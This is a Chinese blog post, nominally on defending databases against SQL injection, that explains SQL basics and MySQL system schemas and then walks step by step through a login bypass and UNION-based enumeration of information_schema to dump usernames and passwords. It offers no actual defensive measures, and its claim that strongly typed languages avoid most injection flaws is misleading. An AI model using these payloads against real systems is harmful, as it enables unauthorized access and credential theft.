WEB应用程序数据库防守篇之预防SQL漏洞注入

前言:

国内目前几乎市面上所有的web应用程序都使用关系型数据库来存储用户的数据信息,可以这么说,数据库是一个项目,一个互联网公司乃至国家最重要的数据中心。如果数据库被入侵成功,所引发的后果将是灾难性,无法想象的。假设一下,如果某天支付宝,银联,微信,B站,抖音等系统的后台数据库被黑进去,用户数据被加密或者被篡改、直接删除了,8亿用户登录时提示 用户不存在,将会是怎样的崩溃! 这恐怕要比你登上支付宝发现余额为负数更加严重。 所以互联网公司不仅承担着程序功能、性能的体验完善,更加重要的是要保护数据库的安全完整性。同时数据的隐私性也同样重要。

SQL:

SQL(Structured Query Language) 是结构化查询语言的意思,用来操作查询所有关系型数据库,非关系型数据库虽然也可以存储用户的信息,但查询检索效率远低于关系型数据库,所以关系型数据库就成为存储用户数据的首选。非关系型数据库通常用来存储大数据,结构化数据,指纹,面容特征等信息,也非常重要。

常用热门的关系型数据库有 Java语言的母公司甲骨文(oracle)的Oracle database,Mysql, IBM 的Db2,微软的SQL Server,亚马逊的 Amazon RDS,和由全球开发者共同开发维护的PostgreSQL 等。其中Mysql凭借其开源免费,出色的跨平台,高性能存储等优势成为开发者最受欢迎的数据库之首(但根据最新数据,同样开源免费的postgresql在全球开发者使用量已经超越了mysql)

国内阿里云的分布式数据库DRDS,腾讯云的TDSQL,华为云的GaussDB 都是基于MYSQL社区的开源版进行重新开发,优化。

WEB应用程序数据库防守篇之预防SQL漏洞注入_第1张图片

SQL 又分为以下四种数据库操纵语言

DQL:数据库查询语言

DML:数据库操作语言,执行添加,删除,修改

DDL:数据库定义语言

DCL:数据库事务语言

进行SQL注入,SQL语句的语法要非常熟练。

Mysql中有几张默认很重要的表,必须要认识:

WEB应用程序数据库防守篇之预防SQL漏洞注入_第2张图片

information schema :它存储了关于数据库、表、列、索引、用户权限等元数据信息。

mysql :该数据库存储了MySQL服务器的用户权限、密码、角色等信息。它包含了多个系统表,用于管理和控制用户权限和访问控制。

performance_schema:该数据库用于存储MySQL服务器的性能监控数据。它包含了多个系统表,如events_waits_current、threads、memory_summary_global_by_event_name等,用于收集和展示MySQL服务器的性能指标和统计信息。

sys:该数据库是MySQL 8.0版本引入的,用于提供一种更方便的方式来查询和分析数据库的性能和状态。它包含了多个系统视图和存储过程,如sys.user_summary sys.schema_table_statistics等,用于查询和分析数据库的性能和状态信息。

认识SQL注入:

度娘解释

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

翻译过来一句话就是:

攻击者通过恶意拼接SQL语句串,进行提交从而达到绕过程序代码中定义的权限,非法获取到数据库、表等信息。

在sql注入方面,用Php写的网站贡献最大,由于他是弱类型数据的语言,在传递数据类型时可以进行自由转换,这就导致SQL注入的注入点会非常的多,而使用强类型数据语言 Java,C++,C#会规避绝大部分的SQL注入漏洞。

SQL注入:

SQL注入分为很多种,有联合注入、盲注、布尔注入、报错注入、时间注入、堆叠注入、二次注入、宽字节注入、cookie注入等等等。当然 这些注入的原理都一样。

下面讲一个最常用的绕过登录进行SQL注入 :

通常你的登录验证SQL是这样的,

Select  *  from  [用户表]  where username='[账号]' and password='[密码]' ; 

正常传入应该是这样:

Select  *  from  users  where username='hyd' and password='root130' ; 

但如果我在传入的值username中加点料 hyd'; -- ,密码随便输 就变成这样啦

Select  *  from  users  where username='hyd';--' and password='111111' ; 

-- 和 # 在sql中是注释的意思,他在执行的时候会忽略掉后面的部分,这样密码就会不起作用

接着使用联合查询union传入 hyd' union select version(),database(); --

Select  *  from  users  where username='hyd' union select version(),database(); --' and password='111111' ; 

version和database会查出你当前项目数据库的版本号和所用数据库名称。

接下来根据数据库名查出库中所有的数据表,这里select后的四条数据需要在查版本号之前进行测试得出字段的数量。

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = '【数据库名】'

查出所有数据表后,观察表名,带user,admin 字样的表,都会成为查询的目标,

接着查询目标表的列名,

union select 1,2,3,column_name from  information_schema.columns where  table_name='users' and table_schema=database()#

得到列名后,就可以根据列名得到想要的信息。比如 查询用户账户,密码以及所有字段内的信息。

1' union select id,username,password from users#

如果该表中有管理员的账号密码,那就等于拿到了通往系统后台大门的钥匙,攻击者通过正常登录,就可以为所欲为了。因为系统管理员通常拥有最高权限,做的所有操作一般都不会被限制。

下一篇: 网络安全渗透测试之靶场训练

你可能感兴趣的:(网络安全,数据库)